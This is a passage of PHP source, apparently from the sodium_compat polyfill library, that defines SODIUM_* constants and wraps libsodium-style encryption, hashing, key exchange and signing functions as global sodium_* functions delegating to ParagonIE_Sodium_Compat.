'CRYPTO_AEAD_CHACHA20POLY1305_ABYTES', 'CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES', 'CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES', 'CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES', 'CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES', 'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES', 'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES', 'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES', 'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES', 'CRYPTO_AUTH_BYTES', 'CRYPTO_AUTH_KEYBYTES', 'CRYPTO_BOX_SEALBYTES', 'CRYPTO_BOX_SECRETKEYBYTES', 'CRYPTO_BOX_PUBLICKEYBYTES', 'CRYPTO_BOX_KEYPAIRBYTES', 'CRYPTO_BOX_MACBYTES', 'CRYPTO_BOX_NONCEBYTES', 'CRYPTO_BOX_SEEDBYTES', 'CRYPTO_KDF_BYTES_MIN', 'CRYPTO_KDF_BYTES_MAX', 'CRYPTO_KDF_CONTEXTBYTES', 'CRYPTO_KDF_KEYBYTES', 'CRYPTO_KX_BYTES', 'CRYPTO_KX_KEYPAIRBYTES', 'CRYPTO_KX_PRIMITIVE', 'CRYPTO_KX_SEEDBYTES', 'CRYPTO_KX_PUBLICKEYBYTES', 'CRYPTO_KX_SECRETKEYBYTES', 'CRYPTO_KX_SESSIONKEYBYTES', 'CRYPTO_GENERICHASH_BYTES', 'CRYPTO_GENERICHASH_BYTES_MIN', 'CRYPTO_GENERICHASH_BYTES_MAX', 'CRYPTO_GENERICHASH_KEYBYTES', 'CRYPTO_GENERICHASH_KEYBYTES_MIN', 'CRYPTO_GENERICHASH_KEYBYTES_MAX', 'CRYPTO_PWHASH_SALTBYTES', 'CRYPTO_PWHASH_STRPREFIX', 'CRYPTO_PWHASH_ALG_ARGON2I13', 'CRYPTO_PWHASH_ALG_ARGON2ID13', 'CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE', 'CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE', 'CRYPTO_PWHASH_MEMLIMIT_MODERATE', 'CRYPTO_PWHASH_OPSLIMIT_MODERATE', 'CRYPTO_PWHASH_MEMLIMIT_SENSITIVE', 'CRYPTO_PWHASH_OPSLIMIT_SENSITIVE', 'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES', 'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX', 'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE', 'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE', 'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE', 'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE', 'CRYPTO_SCALARMULT_BYTES', 'CRYPTO_SCALARMULT_SCALARBYTES', 'CRYPTO_SHORTHASH_BYTES', 'CRYPTO_SHORTHASH_KEYBYTES', 'CRYPTO_SECRETBOX_KEYBYTES', 'CRYPTO_SECRETBOX_MACBYTES', 'CRYPTO_SECRETBOX_NONCEBYTES', 'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES', 'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES', 'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES', 'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH', 'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL', 'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY', 'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL', 'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX', 'CRYPTO_SIGN_BYTES', 'CRYPTO_SIGN_SEEDBYTES', 'CRYPTO_SIGN_PUBLICKEYBYTES', 'CRYPTO_SIGN_SECRETKEYBYTES', 'CRYPTO_SIGN_KEYPAIRBYTES', 'CRYPTO_STREAM_KEYBYTES', 'CRYPTO_STREAM_NONCEBYTES', 'CRYPTO_STREAM_XCHACHA20_KEYBYTES', 'CRYPTO_STREAM_XCHACHA20_NONCEBYTES', 'LIBRARY_MAJOR_VERSION', 'LIBRARY_MINOR_VERSION', 'LIBRARY_VERSION_MAJOR', 'LIBRARY_VERSION_MINOR', 'VERSION_STRING' ) as $constant ) { if (!defined("SODIUM_$constant") && defined("ParagonIE_Sodium_Compat::$constant")) { define("SODIUM_$constant", constant("ParagonIE_Sodium_Compat::$constant")); } } if (!is_callable('sodium_add')) { /** * @see ParagonIE_Sodium_Compat::add() * @param string $string1 * @param string $string2 * @return void * @throws SodiumException */ function sodium_add( #[\SensitiveParameter] &$string1, #[\SensitiveParameter] $string2 ) { ParagonIE_Sodium_Compat::add($string1, $string2); } } if (!is_callable('sodium_base642bin')) { /** * @see ParagonIE_Sodium_Compat::bin2base64() * @param string $string * @param int $variant * @param string $ignore * @return string * @throws SodiumException * @throws TypeError */ function sodium_base642bin( #[\SensitiveParameter] $string, $variant, $ignore ='' ) { return ParagonIE_Sodium_Compat::base642bin($string, $variant, $ignore); } } if (!is_callable('sodium_bin2base64')) { /** * @see ParagonIE_Sodium_Compat::bin2base64() * @param string $string * @param int $variant * @return string * @throws SodiumException * @throws TypeError */ function sodium_bin2base64( #[\SensitiveParameter] $string, $variant ) { return ParagonIE_Sodium_Compat::bin2base64($string, $variant); } } if (!is_callable('sodium_bin2hex')) { /** * @see ParagonIE_Sodium_Compat::hex2bin() * @param string $string * @return string * @throws SodiumException * @throws TypeError */ function sodium_bin2hex( #[\SensitiveParameter] $string ) { return ParagonIE_Sodium_Compat::bin2hex($string); } } if (!is_callable('sodium_compare')) { /** * @see ParagonIE_Sodium_Compat::compare() * @param string $string1 * @param string $string2 * @return int * @throws SodiumException * @throws TypeError */ function sodium_compare( #[\SensitiveParameter] $string1, #[\SensitiveParameter] $string2 ) { return ParagonIE_Sodium_Compat::compare($string1, $string2); } } if (!is_callable('sodium_crypto_aead_aes256gcm_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt() * @param string $ciphertext * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_aes256gcm_decrypt( $ciphertext, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt( $ciphertext, $additional_data, $nonce, $key ); } catch (Error $ex) { return false; } catch (Exception $ex) { if (($ex instanceof SodiumException) && ($ex->getMessage() === 'AES-256-GCM is not available')) { throw $ex; } return false; } } } if (!is_callable('sodium_crypto_aead_aes256gcm_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_aes256gcm_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($message, $additional_data, $nonce, $key); } } if (!is_callable('sodium_crypto_aead_aes256gcm_is_available')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available() * @return bool */ function sodium_crypto_aead_aes256gcm_is_available() { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available(); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt() * @param string $ciphertext * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_chacha20poly1305_decrypt( $ciphertext, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt( $ciphertext, $additional_data, $nonce, $key ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_chacha20poly1305_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt( $message, $additional_data, $nonce, $key ); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_chacha20poly1305_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen(); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_chacha20poly1305_ietf_decrypt( $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt( $message, $additional_data, $nonce, $key ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_chacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt( $message, $additional_data, $nonce, $key ); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_chacha20poly1305_ietf_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen(); } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt() * @param string $ciphertext * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $additional_data, $nonce, $key, true ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_xchacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt( $message, $additional_data, $nonce, $key, true ); } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_xchacha20poly1305_ietf_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen(); } } if (!is_callable('sodium_crypto_auth')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth() * @param string $message * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_auth( $message, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_auth($message, $key); } } if (!is_callable('sodium_crypto_auth_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth_keygen() * @return string * @throws Exception */ function sodium_crypto_auth_keygen() { return ParagonIE_Sodium_Compat::crypto_auth_keygen(); } } if (!is_callable('sodium_crypto_auth_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth_verify() * @param string $mac * @param string $message * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_auth_verify( $mac, $message, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_auth_verify($mac, $message, $key); } } if (!is_callable('sodium_crypto_box')) { /** * @see ParagonIE_Sodium_Compat::crypto_box() * @param string $message * @param string $nonce * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box($message, $nonce, $key_pair); } } if (!is_callable('sodium_crypto_box_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_keypair() * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_keypair() { return ParagonIE_Sodium_Compat::crypto_box_keypair(); } } if (!is_callable('sodium_crypto_box_keypair_from_secretkey_and_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey() * @param string $secret_key * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $secret_key, $public_key ) { return ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey($secret_key, $public_key); } } if (!is_callable('sodium_crypto_box_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_open() * @param string $ciphertext * @param string $nonce * @param string $key_pair * @return string|bool */ function sodium_crypto_box_open( $ciphertext, $nonce, #[\SensitiveParameter] $key_pair ) { try { return ParagonIE_Sodium_Compat::crypto_box_open($ciphertext, $nonce, $key_pair); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_box_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_publickey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box_publickey($key_pair); } } if (!is_callable('sodium_crypto_box_publickey_from_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_publickey_from_secretkey( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey($secret_key); } } if (!is_callable('sodium_crypto_box_seal')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seal() * @param string $message * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_seal( #[\SensitiveParameter] $message, $public_key ) { return ParagonIE_Sodium_Compat::crypto_box_seal($message, $public_key); } } if (!is_callable('sodium_crypto_box_seal_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seal_open() * @param string $message * @param string $key_pair * @return string|bool * @throws SodiumException */ function sodium_crypto_box_seal_open( $message, #[\SensitiveParameter] $key_pair ) { try { return ParagonIE_Sodium_Compat::crypto_box_seal_open($message, $key_pair); } catch (SodiumException $ex) { if ($ex->getMessage() === 'Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.') { throw $ex; } return false; } } } if (!is_callable('sodium_crypto_box_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_secretkey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box_secretkey($key_pair); } } if (!is_callable('sodium_crypto_box_seed_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seed_keypair() * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_box_seed_keypair($seed); } } if (!is_callable('sodium_crypto_generichash')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash() * @param string $message * @param string|null $key * @param int $length * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash( $message, #[\SensitiveParameter] $key = null, $length = 32 ) { return ParagonIE_Sodium_Compat::crypto_generichash($message, $key, $length); } } if (!is_callable('sodium_crypto_generichash_final')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_final() * @param string|null $state * @param int $outputLength * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_final(&$state, $outputLength = 32) { return ParagonIE_Sodium_Compat::crypto_generichash_final($state, $outputLength); } } if (!is_callable('sodium_crypto_generichash_init')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_init() * @param string|null $key * @param int $length * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_init( #[\SensitiveParameter] $key = null, $length = 32 ) { return ParagonIE_Sodium_Compat::crypto_generichash_init($key, $length); } } if (!is_callable('sodium_crypto_generichash_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_keygen() * @return string * @throws Exception */ function sodium_crypto_generichash_keygen() { return ParagonIE_Sodium_Compat::crypto_generichash_keygen(); } } if (!is_callable('sodium_crypto_generichash_update')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_update() * @param string|null $state * @param string $message * @return void * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_update( #[\SensitiveParameter] &$state, $message = '' ) { ParagonIE_Sodium_Compat::crypto_generichash_update($state, $message); } } if (!is_callable('sodium_crypto_kdf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_kdf_keygen() * @return string * @throws Exception */ function sodium_crypto_kdf_keygen() { return ParagonIE_Sodium_Compat::crypto_kdf_keygen(); } } if (!is_callable('sodium_crypto_kdf_derive_from_key')) { /** * @see ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key() * @param int $subkey_length * @param int $subkey_id * @param string $context * @param string $key * @return string * @throws Exception */ function sodium_crypto_kdf_derive_from_key( $subkey_length, $subkey_id, $context, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key( $subkey_length, $subkey_id, $context, $key ); } } if (!is_callable('sodium_crypto_kx')) { /** * @see ParagonIE_Sodium_Compat::crypto_kx() * @param string $my_secret * @param string $their_public * @param string $client_public * @param string $server_public * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_kx( #[\SensitiveParameter] $my_secret, $their_public, $client_public, $server_public ) { return ParagonIE_Sodium_Compat::crypto_kx( $my_secret, $their_public, $client_public, $server_public ); } } if (!is_callable('sodium_crypto_kx_seed_keypair')) { /** * @param string $seed * @return string * @throws Exception */ function sodium_crypto_kx_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_kx_seed_keypair($seed); } } if (!is_callable('sodium_crypto_kx_keypair')) { /** * @return string * @throws Exception */ function sodium_crypto_kx_keypair() { return ParagonIE_Sodium_Compat::crypto_kx_keypair(); } } if (!is_callable('sodium_crypto_kx_client_session_keys')) { /** * @param string $client_key_pair * @param string $server_key * @return array{0: string, 1: string} * @throws SodiumException */ function sodium_crypto_kx_client_session_keys( #[\SensitiveParameter] $client_key_pair, $server_key ) { return ParagonIE_Sodium_Compat::crypto_kx_client_session_keys($client_key_pair, $server_key); } } if (!is_callable('sodium_crypto_kx_server_session_keys')) { /** * @param string $server_key_pair * @param string $client_key * @return array{0: string, 1: string} * @throws SodiumException */ function sodium_crypto_kx_server_session_keys( #[\SensitiveParameter] $server_key_pair, $client_key ) { return ParagonIE_Sodium_Compat::crypto_kx_server_session_keys($server_key_pair, $client_key); } } if (!is_callable('sodium_crypto_kx_secretkey')) { /** * @param string $key_pair * @return string * @throws Exception */ function sodium_crypto_kx_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_kx_secretkey($key_pair); } } if (!is_callable('sodium_crypto_kx_publickey')) { /** * @param string $key_pair * @return string * @throws Exception */ function sodium_crypto_kx_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_kx_publickey($key_pair); } } if (!is_callable('sodium_crypto_pwhash')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash() * @param int $length * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @param int|null $algo * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash( $length, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit, $algo = null ) { return ParagonIE_Sodium_Compat::crypto_pwhash($length, $passwd, $salt, $opslimit, $memlimit, $algo); } } if (!is_callable('sodium_crypto_pwhash_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_str_needs_rehash')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash() * @param string $hash * @param int $opslimit * @param int $memlimit * @return bool * * @throws SodiumException */ function sodium_crypto_pwhash_str_needs_rehash( #[\SensitiveParameter] $hash, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd, $hash); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256() * @param int $length * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256( $length, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256( $length, $passwd, $salt, $opslimit, $memlimit ); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash); } } if (!is_callable('sodium_crypto_scalarmult')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult() * @param string $n * @param string $p * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult( #[\SensitiveParameter] $n, $p ) { return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p); } } if (!is_callable('sodium_crypto_scalarmult_base')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base() * @param string $n * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult_base( #[\SensitiveParameter] $n ) { return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n); } } if (!is_callable('sodium_crypto_secretbox')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox() * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_secretbox( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce, $key); } } if (!is_callable('sodium_crypto_secretbox_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox_keygen() * @return string * @throws Exception */ function sodium_crypto_secretbox_keygen() { return ParagonIE_Sodium_Compat::crypto_secretbox_keygen(); } } if (!is_callable('sodium_crypto_secretbox_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox_open() * @param string $ciphertext * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_secretbox_open( $ciphertext, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_secretbox_open($ciphertext, $nonce, $key); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_push')) { /** * @param string $key * @return array<int, string> * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_init_push( #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_push($key); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_push')) { /** * @param string $state * @param string $message * @param string $additional_data * @param int $tag * @return string * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_push( #[\SensitiveParameter] &$state, #[\SensitiveParameter] $message, $additional_data = '', $tag = 0 ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_push( $state, $message, $additional_data, $tag ); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_pull')) { /** * @param string $header * @param string $key * @return string * @throws Exception */ function sodium_crypto_secretstream_xchacha20poly1305_init_pull( $header, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_pull($header, $key); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_pull')) { /** * @param string $state * @param string $ciphertext * @param string $additional_data * @return bool|array{0: string, 1: int} * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_pull( #[\SensitiveParameter] &$state, $ciphertext, $additional_data = '' ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_pull( $state, $ciphertext, $additional_data ); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_rekey')) { /** * @param string $state * @return void * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_rekey( #[\SensitiveParameter] &$state ) { ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_rekey($state); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_keygen')) { /** * @return string * @throws Exception */ function sodium_crypto_secretstream_xchacha20poly1305_keygen() { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_keygen(); } } if (!is_callable('sodium_crypto_shorthash')) { /** * @see ParagonIE_Sodium_Compat::crypto_shorthash() * @param string $message * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_shorthash( $message, #[\SensitiveParameter] $key = '' ) { return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key); } } if (!is_callable('sodium_crypto_shorthash_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_shorthash_keygen() * @return string * @throws Exception */ function sodium_crypto_shorthash_keygen() { return ParagonIE_Sodium_Compat::crypto_shorthash_keygen(); } } if (!is_callable('sodium_crypto_sign')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign() * @param string $message * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign( $message, #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign($message, $secret_key); } } if (!is_callable('sodium_crypto_sign_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_detached() * @param string $message * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_detached( $message, #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_detached($message, $secret_key); } } if (!is_callable('sodium_crypto_sign_keypair_from_secretkey_and_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey() * @param string $secret_key * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $secret_key, $public_key ) { return ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey($secret_key, $public_key); } } if (!is_callable('sodium_crypto_sign_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_keypair() * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_keypair() { return ParagonIE_Sodium_Compat::crypto_sign_keypair(); } } if (!is_callable('sodium_crypto_sign_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_open() * @param string $signedMessage * @param string $public_key * @return string|bool */ function sodium_crypto_sign_open($signedMessage, $public_key) { try { return ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $public_key); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_sign_publickey')) { /** * @see 